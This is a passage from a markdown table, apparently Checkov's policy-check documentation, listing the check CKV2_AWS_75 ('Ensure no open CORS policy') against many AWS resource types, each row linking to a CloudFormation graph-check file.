[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1525 | CKV2_AWS_75 | resource | aws_ssm_patch_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1526 | CKV2_AWS_75 | resource | aws_ssm_resource_data_sync                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1527 | CKV2_AWS_75 | resource | aws_ssm_service_setting                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1528 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1529 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact_channel                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1530 | CKV2_AWS_75 | resource | aws_ssmcontacts_plan                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1531 | CKV2_AWS_75 | resource | aws_ssmcontacts_rotation                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1532 | CKV2_AWS_75 | resource | aws_ssmincidents_replication_set                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1533 | CKV2_AWS_75 | resource | aws_ssmincidents_response_plan                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1534 | CKV2_AWS_75 | resource | aws_ssmquicksetup_configuration_manager                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1535 | CKV2_AWS_75 | resource | aws_ssoadmin_account_assignment                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1536 | CKV2_AWS_75 | resource | aws_ssoadmin_application                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1537 | CKV2_AWS_75 | resource | aws_ssoadmin_application_access_scope                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1538 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1539 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment_configuration                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1540 | CKV2_AWS_75 | resource | aws_ssoadmin_customer_managed_policy_attachment                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1541 | CKV2_AWS_75 | resource | aws_ssoadmin_instance_access_control_attributes                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1542 | CKV2_AWS_75 | resource | aws_ssoadmin_managed_policy_attachment                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1543 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1544 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1545 | CKV2_AWS_75 | resource | aws_ssoadmin_permissions_boundary_attachment                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1546 | CKV2_AWS_75 | resource | aws_ssoadmin_trusted_token_issuer                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1547 | CKV2_AWS_75 | resource | aws_storagegateway_cache                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1548 | CKV2_AWS_75 | resource | aws_storagegateway_cached_iscsi_volume                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1549 | CKV2_AWS_75 | resource | aws_storagegateway_file_system_association                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1550 | CKV2_AWS_75 | resource | aws_storagegateway_gateway                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1551 | CKV2_AWS_75 | resource | aws_storagegateway_nfs_file_share                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1552 | CKV2_AWS_75 | resource | aws_storagegateway_smb_file_share                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1553 | CKV2_AWS_75 | resource | aws_storagegateway_stored_iscsi_volume                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1554 | CKV2_AWS_75 | resource | aws_storagegateway_tape_pool                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1555 | CKV2_AWS_75 | resource | aws_storagegateway_upload_buffer                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1556 | CKV2_AWS_75 | resource | aws_storagegateway_working_storage                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1557 | CKV2_AWS_75 | resource | aws_subnet                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1558 | CKV2_AWS_75 | resource | aws_swf_domain                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1559 | CKV2_AWS_75 | resource | aws_synthetics_canary                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1560 | CKV2_AWS_75 | resource | aws_synthetics_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1561 | CKV2_AWS_75 | resource | aws_synthetics_group_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1562 | CKV2_AWS_75 | resource | aws_timestreaminfluxdb_db_instance                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1563 | CKV2_AWS_75 | resource | aws_timestreamquery_scheduled_query                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1564 | CKV2_AWS_75 | resource | aws_timestreamwrite_database                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1565 | CKV2_AWS_75 | resource | aws_timestreamwrite_table                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1566 | CKV2_AWS_75 | resource | aws_transcribe_language_model                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1567 | CKV2_AWS_75 | resource | aws_transcribe_medical_vocabulary                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1568 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1569 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary_filter                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1570 | CKV2_AWS_75 | resource | aws_transfer_access                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1571 | CKV2_AWS_75 | resource | aws_transfer_agreement                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1572 | CKV2_AWS_75 | resource | aws_transfer_certificate                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1573 | CKV2_AWS_75 | resource | aws_transfer_connector                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1574 | CKV2_AWS_75 | resource | aws_transfer_profile                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1575 | CKV2_AWS_75 | resource | aws_transfer_server                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1576 | CKV2_AWS_75 | resource | aws_transfer_ssh_key                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1577 | CKV2_AWS_75 | resource | aws_transfer_tag                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1578 | CKV2_AWS_75 | resource | aws_transfer_user                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1579 | CKV2_AWS_75 | resource | aws_transfer_workflow                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1580 | CKV2_AWS_75 | resource | aws_verifiedaccess_endpoint                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1581 | CKV2_AWS_75 | resource | aws_verifiedaccess_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1582 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1583 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_logging_configuration                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1584 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_trust_provider_attachment            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1585 | CKV2_AWS_75 | resource | aws_verifiedaccess_trust_provider                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1586 | CKV2_AWS_75 | resource | aws_verifiedpermissions_identity_source                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1587 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1588 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_store                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1589 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_template                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1590 | CKV2_AWS_75 | resource | aws_verifiedpermissions_schema                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1591 | CKV2_AWS_75 | resource | aws_volume_attachment                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1592 | CKV2_AWS_75 | resource | aws_vpc                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1593 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_exclusion                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1594 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_options                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1595 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1596 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1597 | CKV2_AWS_75 | resource | aws_vpc_endpoint                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1598 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_accepter                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1599 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_notification                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1600 | CKV2_AWS_75 | resource | aws_vpc_endpoint_policy                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1601 | CKV2_AWS_75 | resource | aws_vpc_endpoint_private_dns                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1602 | CKV2_AWS_75 | resource | aws_vpc_endpoint_route_table_association                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1603 | CKV2_AWS_75 | resource | aws_vpc_endpoint_security_group_association                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1604 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1605 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_allowed_principal                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1606 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_private_dns_verification                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1607 | CKV2_AWS_75 | resource | aws_vpc_endpoint_subnet_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1608 | CKV2_AWS_75 | resource | aws_vpc_ipam                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1609 | CKV2_AWS_75 | resource | aws_vpc_ipam_organization_admin_account                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1610 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1611 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1612 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr_allocation                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1613 | CKV2_AWS_75 | resource | aws_vpc_ipam_preview_next_cidr                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1614 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1615 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery_association                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1616 | CKV2_AWS_75 | resource | aws_vpc_ipam_scope                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1617 | CKV2_AWS_75 | resource | aws_vpc_ipv4_cidr_block_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1618 | CKV2_AWS_75 | resource | aws_vpc_ipv6_cidr_block_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1619 | CKV2_AWS_75 | resource | aws_vpc_network_performance_metric_subscription                  | Ensure no open 